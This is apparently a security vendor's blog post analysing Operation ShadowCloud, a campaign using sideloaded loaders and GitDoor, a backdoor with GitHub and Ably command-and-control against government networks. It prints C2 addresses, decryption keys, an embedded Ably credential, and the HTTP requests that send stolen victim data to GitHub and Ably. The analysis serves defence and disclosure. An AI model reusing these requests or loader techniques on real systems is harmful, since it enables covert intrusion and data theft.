Operation ShadowCloud: cloud service-based backdoors targeting government networks in Asia and Africa. Part 1
Introduction
In early 2026, we identified a new, active intrusion campaign that we have named Operation ShadowCloud. The threat actor behind it is abusing the legitimate MeshAgent utility to drop two brand-new backdoors.
These implants hide their command‑and‑control (C2) traffic behind cloud services Microsoft SharePoint, GitHub, and Ably, allowing the implants to blend in with normal traffic, effectively evading network-based detections.
We’ve called the implants GraphDoor and GitDoor, reflecting the cloud platform they use for C2. While their C2 protocols differ, the two backdoors share key capabilities:
- On‑demand plug-in download: fetching additional modules as needed
- In‑memory shellcode injection: loading malicious code directly into memory to extend functionality without touching the disk
The threat actor specifically deploys a modified Erfrp client and Ably messaging service-based plug-ins to proxy traffic between infected systems and C2 servers.
In addition to the plug-ins, we uncovered several shellcode families, most of them delivered as COFF (Common Object File Format) binaries. Our analysis reveals a sophisticated, modular toolset actively maintained and updated with multiple observed backdoor versions in the wild.
We found victims in Asia and Africa, primarily within the government sector. In a recent brief, Sophos touched on a fragment of this campaign.
In this two‑part blog, we dive deeper, detailing the backdoors’ C2 communication methods, the assortment of shellcode families and plug-ins that the threat actor delivers to the compromised machines, and the infrastructure we observed supporting the operation.
We also highlight the attribution clues:
- This article (Part 1 of the story) deals with the initial infection vector, the GitDoor backdoor, and various shellcode families the threat actor drops onto target machines.
- Part 2 provides details on the GraphDoor backdoor and the plug-in suite (Keylogging, Process Listing, Screen Capturing, Modified Erfrp Proxy, and Ably Channel Proxy) and examines the evidence that points to links with Chinese‑speaking threat groups.
Initial infection
During our investigation, we uncovered two separate instances of the MeshCentral Agent (MD5: 74b025084026d8d9a64661bf995d835b), which were launched inside a Taiwanese organization. MeshCentral is a web‑based tool that provides remote‑desktop control, command‑line access, and file‑management capabilities.
The exact entry point that let the attackers install the agent is unknown, but evidence points to the reuse of a prior infection already present on the network.
The MeshCentral Agent was hard‑coded to reach a remote server at wss://27.102.66[.]162:443/agent.ashx. Once the C2 session was established, the adversary used the agent to drop three additional items on the endpoint:
- A legitimate binary used for DLL sideloading
- A malicious loader DLL responsible for unpacking and executing further code
- An encrypted file containing the core payload
1st Instance
C:\windows\system32\start.exe: legitimate Sandboxie Start binaryC:\windows\system32\sbiedll.dll: malicious loaderC:\windows\system32\config.ini: encrypted backdoor file
2nd Instance
C:\Windows\system32\dts\pc\apo4x\dtsapo4service.exe: legitimate Python application binaryC:\Windows\System32\dts\pc\apo4x\python39.dll: malicious loaderC:\Windows\system32\dts\pc\apo4x\config.ini: encrypted backdoor file
The threat actor used trusted executables to side-load malicious loader DLLs. We identified the following loaders used in these attacks: jli.dll, SbieDll.dll, python39.dll, WINMM.dll, and libcef.dll, which were dropped onto the host and then implicitly loaded by the respective legitimate binaries: the OpenJDK platform binary (javaw.exe, MD5: 8b78ef5609d942036e93721d75bd1f29), Sandboxie Start (start.exe, MD5: be739a7036dc8e2ee8608fba13c8c3a4), a Python application (pythonw.exe, MD5: 84802caf2579cfe7a38f079a64a3cd22), and the Sysinternals Screen Magnifier tool (zoomit.exe, MD5: d955d03104f988582cbd2967177693d3), which the attackers started as a Windows service.
Loaders
We discovered two distinct loaders, each using a different method to decode the encrypted backdoor payload. In both cases, the loader first decrypts the payload and then injects the resulting code into the current process’s memory. Loader (Type 1) employs a hybrid scheme: first running the data through an RC4 stream cipher and then applying an XOR mask, while Loader (Type 2) simplifies the process by using a straight XOR operation alone.
Type 1 Loader (MD5 32151547d912488ac5242731057170a3)
The loader jli.dll reads the file config.ini (MD5: 3896d44bc6d517291c60ee3f70543a31) located next to it using the native NtCreateFile/NtReadFile calls, then it transforms the obtained data through the following steps to generate the final backdoor:
- Base64‑decodes the data with a custom character set (
ABCDEFGHIJ01234ZYXWVUTSRQPONMLKzyxwvutsrqponmlkjihgfedcba98765/+) - Decrypts the first layer of encryption with a 16-byte RC4 key that varies across samples
- Decrypts the second layer of encryption with a 16‑byte XOR key, which is also sample‑specific
- Transforms the decrypted backdoor bytes by abusing the
RtlEthernetAddressToStringAandRtlEthernetStringToAddressAAPIs to evade defenses. First,RtlEthernetAddressToStringAis used to convert the decrypted backdoor bytes into an Ethernet MAC‑address string. ThenRtlEthernetStringToAddressAis used to translate a human‑readable MAC address string into a six‑byte binary format, and the resulting bytes are written to memory newly allocated via anAllocADsMemAPI call.
Finally, the loader changes the memory protection to PAGE_EXECUTE_READWRITE using VirtualProtect and jumps to the MZ header, which acts as a trampoline into bootstrap code. Since the decrypted backdoor executable is already in memory‑mapped format, the bootstrap code simply performs relocation, resolves imports, and, depending on whether the payload is an executable or a DLL, invokes its entry point.
The bootstrap code dynamically resolves API addresses and uses CRC32 to compute a hash of each API name. Both the import library name and the associated API name are XOR‑decrypted with a hardcoded 7‑byte key \x11\xAF\xCE\xDC\xA6\x12\x05 before resolution.
Another similar loader jli.dll (MD5: e9d4081fac4a5111e6856f333d490439) has a different approach to API resolution. It reads an encrypted blob from config.ini (MD5: b930fb3ab14fe45b378d5acfa6e0a763), which decrypts to bootstrap code together with a backdoor executable (GraphDoor MD5: 14ec33ea808e697870d00c5e434c2952), which can be either an EXE or a DLL.
The bootstrap code resolves the required APIs using an FNV‑1 hash. In the API hashing function, the FNV_offset_basis value changes, but the FNV_prime constant always remains 0x1000193.
Once the necessary functions are resolved, the bootstrap code creates a file-mapping object called Local\sm%lu (where %lu is the current PID). Next, it reflectively loads the backdoor into its own process space and jumps to the backdoor’s entry point. If the payload is a DLL and exports functions, each export name is hashed with FNV‑1 and compared against the hard‑coded value 0x974C9EB; a match triggers that export.
For cleanup, the bootstrap invokes the DLL’s DllMain with DLL_PROCESS_DETACH, unloads any loaded libraries via FreeLibrary, and releases the allocated memory with VirtualFree.
Type 2 Loader (MD5 e63ec733393e4e7e3424cbff918003a3)
This loader is internally named SbieDll_st.dll. Before attempting to prepare and execute the backdoors, it performs a few checks on the infected machine. It first searches for the byte pattern \x48\x83\xC4\x68\xC3, which disassembles into the instructions shown below, inside KERNEL32.DLL and KernelBase.dll.
If the pattern is found, the code first installs a vectored exception handler and clears the hardware breakpoint by zeroing the CONTEXT.DR7 register. It then verifies that the current process’s name matches a hard‑coded value.
After passing these checks, it reads an encrypted blob from config.ini (MD5: 6a54f8008ee659b6923abf5dba2b2cc1) located in the module’s directory. Then it transforms the obtained data through the following steps:
- Base64‑decoding the data
- XOR‑decrypting it with a hardcoded 16‑byte key that changes per sample
The resulting data is a backdoor executable (GitDoor MD5: 552f0a9cc5fc3755721fa49be05e8035). The loader allocates memory in the current process, copies the decrypted backdoor code into that region, and starts a new thread at the MZ header, which acts as a trampoline into a bootstrap routine identical to that of the Type 1 loader.
Before allocating memory and executing the backdoor code, the loader checks the OS version; on Windows 8 (6.2) or newer, it uses the native APIs NtAllocateVirtualMemory, RtlMoveMemory, and NtCreateThreadEx for memory allocation and code execution, while on older systems it falls back to the standard APIs VirtualAlloc, RtlMoveMemory, and CreateThread.
Backdoors
Both GitDoor and GraphDoor incorporate several encryption and obfuscation techniques, including Control Flow Flattening, which obscures their genuine execution flow. They also make heavy use of indirect calls: most routines are encapsulated in several layers of helper functions that invoke one another in sequence, creating extra levels of indirection.
The core payload lives deep inside these nested wrappers, which forces analysts to follow each wrapper to understand the real backdoor behavior, greatly hindering static analysis.
Execution is split across multiple threaded components. Every thread is an instance of a Client class in the ably namespace. Both the class and namespace identifiers stem from mangled C++ thread function names, and the accompanying lambda names expose the precise malicious capabilities each thread implements.
GitDoor (MD5 552f0a9cc5fc3755721fa49be05e8035)
The backdoor first decrypts every element required to contact the GitHub C2 - its repository URL, the personal access token, the User‑Agent string, and the necessary HTTP headers. The backdoor utilizes two distinct repositories: one serves as a drop point for receiving command payloads, and the other is used to upload the results of those commands.
/repos/LatonyCharnleyaW/Havo: download the command data and plug-ins/repos/LatonyCharnleyaW/Trix: upload the victim’s information and the command result
The User-Agent string is:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.96 Safari/537.36
The backdoor decrypts the hard‑coded configuration details, appends them to the victim’s collected system information, and then uploads the combined data to the GitHub repository as well as the Ably cloud - the detailed preparation and upload process is described below.
Hardcoded Details:
"type":"serv""client_version":"1.1.6""dhj_exe":"start.exe""execution_method":"1""is_need_lock":"false"
Victim Information:
- Public IP
- Internal IP
- Domain
- Username
- Hostname
- Current working directory
- Backdoor process name and process ID
- Windows version
- CPU type
- Running process name
The backdoor builds a random eight‑character identifier that uniquely tags the compromised host and creates a fresh GUID to mark the active communication session. Every HTTP call includes a newly generated random string inserted into the X‑CSRF‑TOKEN header.
The malware then issues a POST request to GitHub, using the GitHub API to open a new issue in the Trix repository belonging to the LatonyCharnleyaW user/organization. This request creates a new GitHub issue with the Title and Body values shown below. The malware extracts the number field from the JSON response, which represents the issue number and will be used in subsequent requests.
Title : “problem [GUID]”. Body : “code [victim unique code]”
POST /repos/LatonyCharnleyaW/Trix/issues
Host: api.github.com
Authorization: token %github_pat_token%
Accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.96 Safari/537.36
X-CSRF-TOKEN: %random string%
Content-Type: application/json
{"body":"code %victim_unique_code%","title":"problem %generated GUID%"}
The backdoor also connects to Ably at rest.ably.io using a hardcoded authorization token. This token is Base64‑encoded, and after decoding, it reveals the Ably API key, which contains the following information:
- App ID: identifies your specific Ably application
- Key ID: identifies the specific key within that app
- Key Secret: the private secret used for signing requests
The backdoor then builds a unique filename in the format main.%victim_unique_code%.js.map, where %victim_unique_code% corresponds to the value reported when the GitHub issue is created. This file holds the harvested victim system information in both the Ably cloud and the GitHub repository.
Prior to the upload, the victim system information is encrypted with AES‑256‑ECB using a randomly generated key. The ciphertext is Base64‑encoded and wrapped in a JSON object (see the example below).
{"key" : " ", "sec" : " "}
After that, the entire JSON payload is XOR‑encrypted with the previously built unique filename, Base64‑encoded once more, and finally sent via a POST request to the Ably service and via a PUT request to the GitHub repository.
Below is the POST request that sends the encrypted victim data to the Ably cloud.
POST /messages
Host: rest.ably.io
Accept: application/json
Authorization: Basic VHVGY3FnLjlId1ZxQTpIVmJEdnUwb1JidG1YQThybE1TVzM1QUJNUjZoOFMxLVMtZnpMVkFYY0dr
Content-Type: application/json
[{"channels":"data:main.%victim_unique_code%.js.map","mess
Comments
No comments yet. Start the discussion.